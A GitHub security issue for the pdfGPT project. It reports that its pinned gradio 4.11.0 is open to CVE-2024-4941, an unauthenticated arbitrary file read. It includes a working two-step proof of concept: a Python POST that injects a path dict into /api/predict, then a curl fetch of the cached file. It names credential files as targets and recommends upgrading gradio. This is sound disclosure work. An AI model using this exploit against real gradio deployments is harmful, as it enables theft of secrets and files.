Unauthenticated arbitrary file read via gradio CVE-2024-4941 on pinned `gradio==4.11.0`
Describe the bug
pdfGPT pins gradio==4.11.0 exactly (requirements.txt:7). This version is in the affected range of CVE-2024-4941 / GHSA-h66w-2m37-rphw (gradio < 4.31.4). The bug allows an unauthenticated remote attacker who can reach the pdfGPT gradio API endpoint to read arbitrary files the pdfGPT process has access to.
The attack uses a 2-request chain that exploits gradio's processing_utils.move_files_to_cache():
- The attacker POSTs JSON to
/api/predictwith a{"path": "/some/file"}dict in the position of pdfGPT'sgr.Fileinput (slot 2 inapp.py:86's inputs list). - gradio's pre-fix
move_files_to_cacheblindly copies the referenced file into its cache directory at/tmp/gradio/<sha>/<basename>and returns that path in the response. - The attacker fetches the file via
GET /file=/tmp/gradio/<sha>/<basename>. The cache path is in gradio's/file=allowlist (is_cached_examplecheck), so it's served.
Upstream patch: gradio commit ee1e294 added check_all_files_in_cache(data) which rejects path-keyed dicts that resolve outside the upload/cache folder.
Reference: CVE-2024-4941 | huntr bounty.
CWE-22 (Path Traversal), CWE-552 (Files or Directories Accessible to External Parties).
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5, high). Unauthenticated arbitrary file read on the pdfGPT process's filesystem.
To Reproduce
Tested on HEAD 04d7a41 with pip install gradio==4.11.0 'huggingface_hub<0.20'. The full pdfGPT install (pip install -r requirements.txt) fails on the deprecated langchain-serve build, but the gradio-level bug does not depend on pdfGPT's application logic — only on the gradio component layout in app.py, which I mirror exactly below.
- Plant a target file outside any gradio allowlist (representing any sensitive file the pdfGPT process can read, e.g.
/etc/passwd,~/.env,~/.aws/credentials):
echo "SENSITIVE_FILE_CONTENT" > /tmp/target-file.txt- Stand up a minimal gradio app with the same component layout as pdfGPT (or run pdfGPT itself with the maintainer's normal flow; the component shape is the only thing that matters for the gradio bug):
import gradio as gr
def ask_api(lcserve_host, pdf_url, file, question, openAI_key):
return f"got file={file}"
with gr.Blocks() as demo:
lcserve_host = gr.Textbox(value='http://localhost:8080')
openAI_key = gr.Textbox(type='password')
pdf_url = gr.Textbox()
file = gr.File(file_types=['.pdf'])
question = gr.Textbox()
btn = gr.Button(value='Submit')
answer = gr.Textbox()
btn.click(ask_api, inputs=[lcserve_host, pdf_url, file, question, openAI_key], outputs=[answer])
demo.launch(server_name="127.0.0.1", server_port=7883, share=False)- POST the attack payload to
/api/predict. Thefileslot (index 2 in the inputs) gets the path-keyed dict pointing at the target file:
import urllib.request, json
body = {
"data": [
"http://localhost:8080", # lcserve_host
"", # pdf_url
{"path": "/tmp/target-file.txt"}, # file <- attacker injection
"q", # question
"sk-fake", # openAI_key
],
"fn_index": 0,
"session_hash": "x"*11,
}
req = urllib.request.Request("http://127.0.0.1:7883/api/predict",
data=json.dumps(body).encode(),
headers={"Content-Type":"application/json"}, method="POST")
r = urllib.request.urlopen(req, timeout=10)
print(r.read().decode())Response (sanitised):
{"data":["got file=/tmp/gradio/<sha>/target-file.txt"], "is_generating":false, ...}- Fetch the file via
/file=:
curl 'http://127.0.0.1:7883/file=/tmp/gradio/<sha>/target-file.txt'Response body:
SENSITIVE_FILE_CONTENTThe file at /tmp/target-file.txt — which is NOT in any gradio allowlist — has been leaked to an unauthenticated attacker who could reach /api/predict.
Expected behavior
gradio's processing_utils.move_files_to_cache() should validate path-keyed dicts before copying files. The post-fix gradio (>= 4.31.4) returns HTTP 500 {"error":null} for the same attack payload, because check_all_files_in_cache() raises an Error when the path resolves outside the upload/cache folder.
Suggested fix
Bump requirements.txt:7 from:
gradio==4.11.0to:
gradio>=4.31.4or to the current gradio 5.x line (which includes CVE-2024-4941 plus subsequent security fixes).
The current latest 5.x releases also resolve:
- CVE-2024-0964 (path-traversal variant, fix 4.13.0)
- CVE-2024-1727 (gradio CORS, fix 4.19.2)
- CVE-2024-8021 (open redirect, fix 4.36.0)
langchain-serve==0.0.61 (the other pinned dep) is itself deprecated per pdfGPT issue #114; a parallel migration off langchain-serve may simplify other pin updates, but is independent of this CVE.
Additional context
- The deployed pin is exact (
gradio==4.11.0), so a freshpip install -r requirements.txtreliably reproduces the vulnerable install — no caret/range resolution that would silently pull a patched version. - The attack requires reaching pdfGPT's gradio API endpoint. The default
demo.launch(server_port=7860, enable_queue=True)inapp.py:89binds to localhost only by default, but deployments that bindserver_name="0.0.0.0", expose port 7860 via Docker, or host on Hugging Face Spaces / similar are reachable by remote attackers. - The attack is unauthenticated: pdfGPT does not configure gradio with
auth=perapp.py. - No prior issue in this repository covers CVE-2024-4941 (searched
gradio,CVE,path traversal,security,/file,cache).
Source: bhaskatripathi/pdfGPT